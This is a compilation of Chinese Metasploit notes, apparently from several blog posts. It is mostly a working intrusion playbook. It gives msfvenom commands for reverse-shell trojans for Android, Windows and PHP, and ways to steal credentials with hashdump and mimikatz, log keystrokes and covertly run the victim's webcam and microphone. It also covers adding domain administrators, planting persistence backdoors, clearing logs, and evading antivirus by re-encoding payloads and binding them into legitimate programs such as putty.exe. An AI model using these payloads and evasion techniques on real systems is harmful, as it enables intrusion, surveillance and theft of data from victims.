|

msf > help
db_autopwn Commands
===================
Command Description
------- -----------
db_autopwn Automatically exploit everything
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
irb Drop into irb scripting mode
load Load a framework plugin
quit Exit the console
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
Module Commands
===============
Command Description
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module or a file with the preferred editor
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Selects a module by name
Job Commands
============
Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job
Resource Script Commands
========================
Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file
Database Backend Commands
=========================
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
Credentials Backend Commands
============================
Command Description
------- -----------
creds List all credentials in the database
msf >

來源 http://www.cnblogs.com/peterpan0707007/p/7852188.html
sessions -l 查看會話
backgroud 暫時退出當(dāng)前會話
注入進(jìn)程: ps 查看進(jìn)程 migrate 注入進(jìn)程 進(jìn)程ID 一般選擇explorer.exe對應(yīng)的PID run vnc 查看遠(yuǎn)程桌面
文件操作 cat 查看文件 edit 編輯文件 upload 上傳文件 download 下載文件 rm 刪除文件 mkdir 創(chuàng)建文件夾 rmdir 刪除文件夾
網(wǎng)絡(luò)及系統(tǒng)操作 enumdesktops 在線用戶數(shù) uictl disable keyboard 讓鍵盤失效 uictl enable keyboard 恢復(fù)鍵盤 record_mic -d 10 音頻錄制 錄制10秒 webcam_stream 開啟攝像頭 getsystem 獲取最高權(quán)限 hashdump 密碼hash
安卓
制作木馬kali_linux_2017.1_vm_amd64虛機(jī)中
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.18.250 LPORT=12345 R > test.apk
進(jìn)入msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.18.250
set LPORT 12345
exploit
將test.apk發(fā)送到目標(biāo)手機(jī)安裝運行即可
常用命令: search 搜索 search -f *.jpg download webcam_stream -i 1/2 打開前置或后置攝像頭 check_root 檢測root dump_calllog 下載電話記錄 dump_contacts 下載信息記錄 geolocate 定位,需要下載谷歌地圖
kali開啟ssh
1、vim /etc/ssh/sshd_config 添加 PermitRootLogin yes
2、開啟ssh服務(wù) service ssh start
metasploit msfconsole下啟動nmap進(jìn)行端口掃描 msf > nmap -v sV IP msf > search portscan msf > use auxiliary/scanner/portscan/syn msf > use auxiliary/scanner/portscan/tcp msf > use auxiliary/scanner/smb/smb_version msf > use auxiliary/scanner/ftp/ftp_version
來源 http://www.cnblogs.com/hookjoy/p/7989715.html
-
生成windows下的反彈木馬
msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f exe > 8888.exe // -p < payload > -f < format> -o < path> = >
-
監(jiān)聽
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 172.17.150.246 //阿里云云服務(wù)器這里是內(nèi)網(wǎng)ip set LPORT 8888 exploit -j
-
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php use exploit/multi/handler set PAYLOAD php/meterpreter_reverse_tcp set LHOST 172.17.150.246 set LPORT 8888 exploit -j
-
shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=60.205.212.140 -e x86/shikata_ga_nai -i 11 -f py > 1.py //-e 使用編碼 -i 編碼次數(shù)
- 首先需要鏈接sessions,在此基礎(chǔ)下添加路由
meterpreter > run get_local_subnets //獲取網(wǎng)段 meterpreter > run autoroute -s 172.2.175.0/24 //添加路由 meterpreter > run autoroute -p //查看路由 meterpreter > run autoroute -d -s 172.2.175.0 //刪除網(wǎng)段 meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探測該網(wǎng)段下的存活主機(jī)。 meterpreter > background //后臺sessions
- getsystem
meterpreter > getsystem //直getsystem提權(quán),最常用簡單的辦法
- 使用exp提權(quán)
meterpreter > background //先后臺運行會話 [*] Backgrounding session 1… msf > use post/windows/escalate/ms10_073_kbdlayout msf > show options msf > set session 1 //設(shè)置要使用的會話 msf post(ms10_073_kbdlayout) > exploit 注意:如果創(chuàng)建了一個system進(jìn)程,就可以立馬sessions 1進(jìn)入會話,然后ps查看進(jìn)程,使用migrate pid注入到進(jìn)程。 或者直接: meterpreter > run post/windows/escalate/ms10_073_kbdlayout
3.盜取令牌
meterpreter > use incognito //進(jìn)入這個模塊 meterpreter > list_tokens –u //查看存在的令牌 meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,兩個斜杠
注:只有具有“模仿安全令牌權(quán)限”的賬戶才能去模仿別人的令牌,一般大多數(shù)的服務(wù)型賬戶(IIS、MSSQL等)有這個權(quán)限,大多數(shù)用戶級的賬戶沒有這個權(quán)限。一般從web拿到的webshell都是IIS服務(wù)器權(quán)限,是具有這個模仿權(quán)限的,建好的賬戶沒有這個權(quán)限。使用菜刀(IIS服務(wù)器權(quán)限)反彈meterpreter是服務(wù)型權(quán)限。
4.Bypassuac
msf > use exploit/windows/local/bypassuac //32位與64位一樣,其他幾個模塊也一樣 msf > show options msf > set session 4 msf > run //成功后會返回一個新的session,進(jìn)入新會話,發(fā)現(xiàn)權(quán)限沒變,使用getsystem即可完成提權(quán)
5.Hash
meterpreter > run post/windows/gather/smart_hashdump //讀取hash這種做法最智能,效果最好。
-
服務(wù)啟動后門:
meterpreter > run metsvc -A //再開起一個終端,進(jìn)入msfconsole msf > use exploit/multi/handler //新終端中監(jiān)聽 msf > set payload windows/metsvc_bind_tcp msf > set LPORT 31337 msf > set RHOST 192.168.0.128 msf > run //獲取到的會話是system權(quán)限
-
啟動項啟動后門
meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105
// -X 系統(tǒng)開機(jī)自啟,-i 10 10秒重連一次,-p 監(jiān)聽端口,-r 監(jiān)聽機(jī)。直接監(jiān)聽就好了,他自己會鏈接回來。 注意到移除 persistence 后門的辦法是刪除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 中的注冊表鍵和 C:\WINDOWS\TEMP\ 中的 VBScript 文件。 缺點:容易被殺毒軟件殺 。
這兩個后門有個弊端,在進(jìn)程中都會存在服務(wù)名稱為meterpreter的進(jìn)程。
-
對端口都掃描
use auxiliary/scanner/portscan/tcp show options set rhosts 192.168.2.1-255 set ports 21,22,25,443,445,1433,3306 set threads 20 exploit
-
mssql開發(fā)利用
- 對各個ip是否有mssql服務(wù)的探測
use scanner/mssql/mssql_ping //測試MSSQL的存在和信息 show options set rhosts 192.168.2.1-255 set threads 30 exploit
- 對掃描到的ip進(jìn)行爆破
use scanner/mssql/mssql_login //具體配置show options。
- sa權(quán)限對其利用
use admin/mssql/mssql_exec set rhost 192.168.2.10 set password sa set CMD cmd.exe /c echo hello exploit
-
mysql開放利用
- 爆破ssh模塊:
use auxiliary/scanner/ssh/ssh_login set rhosts 7.7.7.20 set username root set pass_file /root/pass.txt //加載字典,可以收集密碼做字典 set threads 50 run
- 通過nmap掃描基本漏洞:
msf > nmap –script=vuln 受害靶機(jī)ip地址 msf > nmap –script=mysql-info 192.168.0.4 //掃描mysql數(shù)據(jù)庫信息 版本 等..
最后清除記錄
msf > clearev //刪除目標(biāo)機(jī)上的應(yīng)用程序、系統(tǒng)和安全日志。
一些常用命令
查看系統(tǒng)命令 sysinfo
截圖 screenshot
查看是否是虛擬機(jī) run checkvm
查看運行木馬的用戶 getuid
注入到進(jìn)程 migrate pid //成功會提示successfully
加載mimikatz模塊 meterpreter > load mimikatz meterpreter > wdigest //需要system權(quán)限
獲取鍵盤記錄:meterpreter> run post/windows/capture/keylog_recorder #運行鍵盤記錄模塊,他自己創(chuàng)建本文。
Metasploit 整理筆記
http://blog.csdn.net/tan6600/article/details/46850057
一.名詞解釋 exploit 測試者利用它來攻擊一個系統(tǒng),程序,或服務(wù),以獲得開發(fā)者意料之外的結(jié)果。常見的 有內(nèi)存溢出,網(wǎng)站程序漏洞利用,配置錯誤exploit。 payload 我們想讓被攻擊系統(tǒng)執(zhí)行的程序,如reverse shell 可以從目標(biāo)機(jī)器與測試者之間建立一 個反響連接,bind shell 綁定一個執(zhí)行命令的通道至測試者的機(jī)器。payload 也可以是只 能在目標(biāo)機(jī)器上執(zhí)行有限命令的程序。 shellcode 是進(jìn)行攻擊時的一系列被當(dāng)作payload 的指令,通常在目標(biāo)機(jī)器上執(zhí)行之后提供一個可 執(zhí)行命令的shell。 module MSF 的模塊,由一系列代碼組成。 listener 等待來自被攻擊機(jī)器的incoming 連接的監(jiān)聽在測試者機(jī)器上的程序
二. 編碼器 msfencode –l 查看可用的編碼器(encoders),效果最佳的是x86/shikata_ga_nai
三.信息刺探與收集 1、攻擊第一步:基礎(chǔ)信息收集 ①whois 查詢: msf > whois msf> whois 192.168.1.100
②在線手機(jī)服務(wù)器IP工具
③nslookup set type=mx
2、用nmap 探測開放端口和服務(wù):
-sS SYN 半開掃描 -sT TCP 半開掃描 -Pn 不使用ping方式探測主機(jī) -A 探測服務(wù)類型 -6 開啟IPV6 掃描 -O 探測操作系統(tǒng)版本
常用掃描參數(shù)組合: nmap –sS –Pn 192.168.0.111 nmap –sS –Pn –A 192.168.0.111
3、MSF 與postgresql 協(xié)同工作 /etc/init.d/postgreql-8.3 start msf> db_connect postgres:toor@127.0.0.1/msf msf> db_status 導(dǎo)入nmap 掃描的結(jié)果: nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 掃描結(jié)果導(dǎo)出為Subnet1.xml msf> db_import Subnet1.xml msf> db_hosts –c address #查看導(dǎo)入的主機(jī)IP (msf 也可以和mysql 一起工作,在bt5 r1 中msf 默認(rèn)支持連接mysql: msf> db_driver mysql msf> db_connect root:toor@127.0.0.1/msf3 #連接本機(jī)mysql 的msf3 數(shù)據(jù)庫 mysql 默認(rèn)密碼toor,使用db_connect 連接時會自動創(chuàng)建msf3 庫)
4、高級掃描方式: ①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列掃描器,與nmap 的-sI -O 選項類似 show options set RHOSTS 192.168.1.0/24 set RPORT 8080 set THREADS 50 run (RHOSTS、RPORT 等參數(shù)也可以用小寫) ②msf> nmap –PN –sI 192.168.1.09 192.168.1.155 ③nmap 連接數(shù)據(jù)庫: msf> db_connect postgres:toor@127.0.0.1/msf msf> db_nmap –sS –A 192.168.1.111 msf> db_services #查看掃描結(jié)果 ④使用portscan 模塊: msf> search postscan msf> use scanner/postscan/syn set RHOSTS 192.168.1.111 set THREADS 50 run
5、特定掃描: smb_version 模塊: msf> use auxiliary/scanner/smb/smb_version show options set RHOSTS 192.168.1.111 run db_hosts –c address,os_flavor 查找mssql 主機(jī): msf> use auxiliary/scanner/mssql/mssql_ping show options set RHOSTS 192.168.1.0/24 set THREADS 255 run SSH 服務(wù)器掃描: msf> use auxiliary/scanner/ssh/ssh_version set THREADS 50 run FTP 主機(jī)掃描: msf> use auxiliary/scanner/ftp/ftp_version show options set RHOSTS 192.168.1.0/24 set THREADS 255 run 掃描FTP 匿名登錄: use auxiliary/scanner/ftp/anonymos set RHOSTS 192.168.1.0/24 set THREADS 50 run 掃描SNMP 主機(jī): msf> use auxiliary/scanner/snmp/snmp_login set RHOSTS 192.168.1.0/24 set THREADS 50 run
四.基本漏洞掃描 1、使用nc 與目標(biāo)端口通信,獲取目標(biāo)端口的信息: nc 192.168.1.111 80 GET HTTP 1/1 Server: Microsoft-IIS/5.1 (1:還有一個功能與nc 類似的工具Ncat,產(chǎn)自nmap 社區(qū),可實現(xiàn)相同功能: ncat -C 192.168.1.111 80 GET / HTTP/1.0
2:題外:ncat 還可以做聊天服務(wù)器呢!在服務(wù)器端監(jiān)聽然后多個客戶端直接連上就 可以聊天了:服務(wù)器(chatserver):ncatncat -l –chat 其他客戶端:ncat chatserver
3:ncat 還可以用來查看各種客戶端的請求信息,比如論壇里有人問中國菜刀有木有后門,那么可以這樣查看中國菜刀連接后門時發(fā)送的數(shù)據(jù): 服務(wù)器(server.)上:ncat -l –keep-open 80 –output caidao.log > /dev/null 然后使用菜刀連接http://server./nc.php 并請求操作,這是菜刀發(fā)送的數(shù)據(jù)就保存到服務(wù)器的caidao.log 里面了。也可以導(dǎo)出為hex 格式,–output 換為–hex-dump就可以了。
4:其實與nc 功能類似的工具在bt5 里面還有很多,比如還有一個sbd: 監(jiān)聽:sbd -l -p 12345 連接:sbd 192.168.1.111 12345
5:當(dāng)然也可以用來聊天,與ncat 的不同之處在于ncat 自動對用戶編號user1、user2、…, 而sbd 可以自定義昵稱,且不需要專門單獨監(jiān)聽為聊天服務(wù)器: pc1:sbd -l -p 12345 -P chowner pc2:sbd pc1 12345 -P evil
6:其實nc 也可以用來聊天的: pc1:nc -l -p 12345 pc2:telnet pc1 12345)
3、與nessus 結(jié)合掃描: 使用Nessus 掃描完成后生成.nessus 格式的報告,導(dǎo)入到MSF: db_connect postgres:toor@127.0.0.1/msf db_import /tmp/nessus_report_Host_test.nessus db_hosts –c address,svcs,vulns db_vulns 在MSF 中使用Nessus: db_connect postgres:toor@127.0.0.1/msf load nessus nessus_connect nessus:toor@192.168.1.111:8834 ok nessus_policy_list #查看存在的掃描規(guī)則 nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示規(guī)則的ID 號,bridge_scan 自定義掃描名稱 nessus_scan_status #查看掃描進(jìn)行狀態(tài) nessus_report_list #查看掃描結(jié)果 nessus_report_get skjla243-3b5d-* #導(dǎo)入報告 db_hosts –c address,svcs,vulns
4、特殊掃描: SMB 弱口令: msf> use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.1.111-222 set SMBUser Administrator set SMBPass admin run VNC 空口令: msf> use auxiliary/scanner/vnc/vnc_none_auth set RHOSTS 192.168.1.111 run Open X11 空口令: msf> use auxiliary/scanner/x11/open_x11 set RHOST 192.168.1.0/24 set THREADS 50 run 當(dāng)掃描到此漏洞的主機(jī)后可以使用xspy 工具來監(jiān)視對方的鍵盤輸入: cd /pentest/sniffers/xspy/ ./xspy –display 192.168.1.125:0 –delay 100 (xspy 這貨在bt5 r1 里面貌似木有了)
五.基礎(chǔ)溢出命令 1、基本命令: 查看可用溢出模塊show exploits 查看輔助模塊show auxiliary 包括掃描器,拒絕服務(wù)模塊,fuzzer 工具或其他。 查看可用選項show options 加載模塊后退出此模塊back 例子: msf> use windows/smb/ms08_067_netapi back 搜索模塊search 例子: searh mssql search ms08_067 查看當(dāng)前模塊可用的payload: show payloads 例子: use windows/smb/ms08_067_netapi show payloads set payload windows/shell/reverse_tcp show options **查看可選的目標(biāo)類型**show targets **查看更多信息**info 設(shè)置一個選項或取消設(shè)置set/unset 設(shè)置或取消全局選項setg/unsetg 例如設(shè)置LHOST 就可以用setg,避免后面重復(fù)設(shè)置 保存全局選項的設(shè)置save 當(dāng)下次啟動仍然生效 查看建立的session sessions –l 激活session sessions –i num #num 為session 編號
2、暴力端口探測: 當(dāng)主機(jī)端口對外開放但是普通探測方法無法探測到時,用此模塊,msf 將對目標(biāo)的所有 端口進(jìn)行嘗試,直到找到一個開放端口并與測試者建立連接。 例子: use exploit/windows/smb/ms08_067_netapi set LHOST 192.168.1.111 set RHOST 192.168.1.122 set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX) search ports #搜索與ports 相關(guān)模塊 set PAYLOAD windows/meterpreter/reverse_tcp_allports exploit –j #作為后臺任務(wù)運行 sessions –l –v sesssions –i 1
3、MSF 腳本文件: 為了縮短測試時間可以將msf 命令寫入一個文件,然后在msf 中加載它。 加載方式:msfconsole 的resource 命令或者msfconsole 加上-r 選項 例子: echo ‘version’ > resource.rc echo ‘load sounds’ >> resource.rc msfconsole –r resource.rc 例子: echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc echo ‘set RHOST 192.168.1.133’ >> autoexp.rc echo ‘set PAYLOAD windows/meterpreter/reverse_tcp’ >> autoexp.rc echo ‘set LHOST 192.168.1.111’ >> autoexp.rc echo ‘exploit’ >> autoexp.rc msfconsole msf> resource autoexp.rc
六.METERPRETER 1、當(dāng)對目標(biāo)系統(tǒng)進(jìn)行溢出時,使用meterpreter 作為payload,給測試者返回一個shell,可用于在目標(biāo)機(jī)器上執(zhí)行更多的操作。 例子: msf> nmap –sT –A –P0 192.168.1.130 #探測開放服務(wù) 假如已經(jīng)探測到1433(TCP)和1434(UDP)端口(mssql), msf> nmap –sU 192.168.1.130 –P 1434 #確認(rèn)端口開放 msf> use auxiliary/scanner/mssql/mssql_ping show options set RHOSTS 192.168.1.1/24 set THREADS 20 exploit 至此可獲取服務(wù)器名稱,版本號等信息。 msf> use auxiliary/scanner/mssql/mssql_login show options set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt set RHOSTS 192.168.1.130 set THREADS 10 set verbose false exploit 暴力猜解登陸密碼。接下來使用mssql 自帶的xp_cmdshell 功能添加賬戶: msf> use exploit/windows/mssql/mssql_payload show options set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.111 set LPORT 433 set RHOST 192.168.1.130 set PASSWORD password130 exploit 當(dāng)獲取到一個meterpreter shell 后可以執(zhí)行更多的操作: 獲取屏幕截圖:screenshot 獲取系統(tǒng)信息:sysinfo 獲取鍵盤記錄: meterpreter> ps #查看目標(biāo)機(jī)器進(jìn)程,假設(shè)發(fā)現(xiàn)explorer.exe 的進(jìn)程號為1668: meterpreter> migrate 1668 #插入該進(jìn)程 meterpreter> run post/windows/capture/keylog_recorder #運行鍵盤記錄模塊,將擊鍵記錄保存到本地txt cat /root/.msf3/loot/*.txt #查看結(jié)果 獲取系統(tǒng)賬號密碼: meterpreter> use priv meterpreter> run post/windows/gather/hashdump 當(dāng)獲取到密碼的hash 之后無法破解出明文密碼且無法直接使用hash 登陸,需要使用 pass-the-hash 技術(shù): msf> use windows/smb/psexec set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.111 set LPORT 443 set RHOST 192.168.1.130 set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29 exploit 獲取到系統(tǒng)權(quán)限后我們可以新建一個普通賬號,然后使用此賬號執(zhí)行我們的后門: 在目標(biāo)機(jī)器上執(zhí)行:net uaer hacker pass /add 本地生成一個后門程序: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=443 X >payload.exe 將payload.exe 拷貝到目標(biāo)機(jī)器然后使用新建立的賬號執(zhí)行本地執(zhí)行端口監(jiān)聽,等待來自目標(biāo)機(jī)器連接: msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=443 use priv getsystem getuid 至此取得SYSTEM 權(quán)限
2、令牌模擬:當(dāng)有域控賬戶登陸至服務(wù)器時可使用令牌模擬進(jìn)行滲透取得域控權(quán)限,之后登陸其他機(jī)器時不需要登陸密碼。 meterpreter> ps # 查看目標(biāo)機(jī)器進(jìn)程,找出域控賬戶運行的進(jìn)程ID,假如發(fā)現(xiàn)PID 為380 meterpreter> steal_token 380 有時ps 命令列出的進(jìn)程中可能不存在域控賬戶的進(jìn)程,此時使用incognito 模塊查看可 用token: meterpreter> use incognito meterpreter> list_tokens –u #列出可用token,假如找到域控token meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin meterpreter> add_user hacker password –h 192.168.1.50 #在域控主機(jī)上添加賬戶 meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #將賬戶添加至域管理員組
3、內(nèi)網(wǎng)滲透:當(dāng)取得同網(wǎng)段內(nèi)一臺主機(jī)的權(quán)限后可以進(jìn)一步滲透網(wǎng)內(nèi)其他主機(jī): 例子: meterpreter> run get_local_subnets #查看網(wǎng)段/子網(wǎng) Local subnet: 192.168.33.0/255.255.255.0 meterpreter> background #轉(zhuǎn)入后臺運行 msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息 msf> route print #查看添加的信息 msf> use linux/samba/lsa_transnames_heap #準(zhǔn)備向內(nèi)網(wǎng)目標(biāo)主機(jī)進(jìn)攻 set payload linux/x86/shell/reverse_tcp set LHOST 10.10.1.129 #此處為attacking 主機(jī)的外網(wǎng)IP set LPORT 8080 set RHOST 192.168.33.132 #內(nèi)網(wǎng)目標(biāo)主機(jī) exploit 也可以使用自動式添加路由模塊: msf> load auto_add_route msf> exploit
4、Meterpreter 腳本: 使用run scriptname 方式執(zhí)行 ①vnc 腳本,獲取遠(yuǎn)程機(jī)器vnc 界面控制 meterpreter> run vnc meterpreter> run screen_unlock ②進(jìn)程遷移 當(dāng)攻擊成功后將連接進(jìn)程從不穩(wěn)定進(jìn)程(如使用瀏覽器溢出漏洞exp 進(jìn)行攻擊時瀏覽器可能會被目標(biāo)關(guān)閉)遷移至穩(wěn)定進(jìn)程(explorer.exe),保持可連接。 例子: meterpreter> run post/windows/manage/migrate (在64 位win7 中migrate 需要管理員權(quán)限執(zhí)行后門才能成功,而migrate 前后獲取的 權(quán)限是有差異的。) ③關(guān)閉殺毒軟件 meterpreter> run killav (這個腳本要小心使用,可能導(dǎo)致目標(biāo)機(jī)器藍(lán)屏死機(jī)。) ④獲取系統(tǒng)密碼hash meterpreter> run hashdump (64 位win7 下需要管理員權(quán)限執(zhí)行后門且先getsystem,然后使用 run post/windows/gather/hashdump 來dump hash 成功率更高。 而且如果要使用shell 添加系統(tǒng)賬戶的話win7 下得先: run post/windows/escalate/bypassuac ,不然可能不會成功。) ⑤獲取系統(tǒng)流量數(shù)據(jù) meterpreter> run packtrecorder –i 1 ⑥直搗黃龍 可以干很多事情:獲取密碼,下載注冊表,獲取系統(tǒng)信息等 meterpreter> run scraper ⑦持久保持 當(dāng)目標(biāo)機(jī)器重啟之后仍然可以控制 meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111 -X 開機(jī)啟動-i 連接超時時間–p 端口–rIP 下次連接時: msf> use multi/handler set payload windows/meterpreter/reverse_tcp set LPOST 443 set LHOST 192.168.1.111 exploit (會在以下位置和注冊表以隨機(jī)文件名寫入文件等信息,如: C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP) ⑧POST 整合模塊 可實現(xiàn)同時多個session 操作 例子:獲取hash meterpreter> run post/windows/gather/hashdump 其他還有很多,使用TAB 鍵補(bǔ)全看下就知道run post/
5、升級command shell 例子: msfconsole msf> search ms08_067 msf> use windows/smb/ms08_067_netapi set PAYLOAD windows/shell/reverse_tcp set TARGET 3 setg LHOST 192.168.1.111 setg LPORT 8080 exploit –z #后臺運行,如果此處未使用-z 參數(shù),后面可以按CTRL-Z 轉(zhuǎn)到后臺 sessions –u 1 #升級shell,必須前面使用setg 設(shè)定 sessions –i 2
6、使用Railgun 操作windows APIs 例子: meterpreter> irb
client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”) 在目標(biāo)機(jī)器上會彈出一個標(biāo)題欄為world 和內(nèi)容為hello 的窗口
七.避開殺軟 1、使用msfpayload 創(chuàng)建可執(zhí)行后門: 例子: msfpayload windows/shell_reverse_tcp 0 #查看選項 msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X > /var/www/payload1.exe 然后本機(jī)監(jiān)聽端口 msf> use exploit/multi/handler show options set PAYLOAD windows/shell_reverse_tcp set LHOST 192.168.1.111 set LPORT 31337 exploit
2、過殺軟—使用msfencode 編碼后門: msfencode –l #列出可用編碼器 例子: msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe 使用R 參數(shù)作為raw 輸出至管道,再經(jīng)過msfencode 處理,最后導(dǎo)出。
3、多次編碼: 例子: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R | msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw | msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o /var/www/payload3.exe 簡單編碼被殺機(jī)會很大,使用多次編碼效果更好,這里一共使用了17 次循環(huán)編碼。 (題外:經(jīng)測試,1:使用此命令生成的后門也被MSE 殺到;2:未編碼的后門或編碼次數(shù)較少的后門可以直接被秒殺;3:windows/x64/meterpreter/reverse_tcp 生成的后門未經(jīng)任何處理仍然不被殺,看來殺毒軟件傻逼了;4:x86 編碼器編碼的后門在64 位機(jī)器上無法執(zhí)行;5:360 有個沙箱功能,后門文件右鍵選擇“在360 隔離沙箱中運行”,msf照樣可以連接并操作,看來隔離沙箱功能有限。)
4、自定義可執(zhí)行程序模板: msfencode 默認(rèn)使用data/templates/templates.exe(msf v4 在templates 目錄下有針對不同 平臺的不同模板)作為可執(zhí)行程序的模板,殺毒廠商也不是傻逼,所以這里最好使用自定義模板,如: wget http://download./Files/ProcessExplorer.zip cd work unzip ProcessExplorer.zip cd .. msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5 在目標(biāo)機(jī)器上運行,然后本地使用msfcli 監(jiān)聽端口等待反彈連接: msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 E
5、暗度陳倉—猥瑣執(zhí)行payload: 綁定payload 至一個可執(zhí)行文件,讓目標(biāo)不知不覺間中招,以putty.exe 為例: msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5 假如選擇一個GUI 界面的程序作為綁定目標(biāo)并且不使用-k 選項,則目標(biāo)執(zhí)行此程序的時候不會彈出cmd 窗口,-k 選項的作用是payload 獨立于模板軟件的進(jìn)程運行。
6、加殼: msfencode 部分編碼器會增加程序體積,這時可使用殼(packer)來壓縮程序,“帶套之后更保險”,例如UPX : apt-get install upx 最新版可到sf.net 下載 使用方法: upx -5 /var/www/payload3.exe 還有另外一個工具msfvenom 結(jié)合了msfpayload 和msfencode 的功能,使用起來更省心, 親,一定要試試哦!過殺軟總結(jié)起來就是多次編碼和使用多種殼,終極大法就是使用自己編寫的后門(市面上沒有,被殺幾率更低)。
八.使用用戶端攻擊方式(client-side attacks) 1、主要指利用多種途徑包括社會工程學(xué)方式攻擊目標(biāo)機(jī)器上安裝的帶有漏洞的程序如瀏覽 器,pdf 閱讀器,office 軟件等,最終獲取系統(tǒng)權(quán)限。 基于瀏覽器的攻擊: 例子: msf> use windows/browser/ms10_002_aurora set payload windows/meterpreter/reverse_tcp set SRVPORT 80 set URIPATH / set LHOST 192.168.1.111 set LPORT 443 exploit –z sessions –i 1 run migrate 或者: msf> use windows/browser/ms10_002_aurora show advanced set ReverseConnectRetries 10 set AutoRunScript migrate –f exploit use priv getsystem
2、文件格式exploit 利用文件格式的漏洞達(dá)到溢出的目的,比如PDF,word,圖片等。 例子: msf> use windows/fileformat/ms11_006_createsizeddibsection info set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.111 set LPORT 443 exploit 此時會生成一個msf.doc 的word 文檔,在目標(biāo)機(jī)器上打開此文檔,然后本機(jī)監(jiān)聽端口 等待反彈連接: use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.111 set LPORT 443 exploit –j
九.MSF 附加模塊 包括端口掃描,服務(wù)探測,弱口令探測,fuzzer,sql 注射等。附加模塊沒有payload。 模塊保存在/opt/framework3/msf3/modules/auxiliary/目錄中的各個子目錄下。 可用命令查看全部可用附加模塊:msf> show auxiliary 例子: msf> use scanner/http/webdav_scanner info show options set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222 run 搜索所有http 相關(guān)掃描模塊: search scanner/http 附加模塊深層剖析: cd /opt/framework3/msf3/modules/auxiliary/admin/ wget http://carnal0wnage.googlecode.c … admin/random/foursq ueare.rb 代碼分析: require ‘msf/core’ class Metasploit3 < Msf::Auxiliary #導(dǎo)入Auxiliaary 類 #Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient #導(dǎo)入HTTPClient 方法 include Msf::Auxiliary::Report def initialize super( ‘Name’ => ‘Foursquare Location Poster’, ‘Version’ => ‘Revision:’, ‘Description’ => ‘F*ck with Foursquare,be anywhere you want to be by venue id’, ‘Author’ => [‘CG’], ‘License’ => MSF_LICENSE, ‘References’ => [ [‘URL’,’http://groups.google.com/group/foursquare-api’], 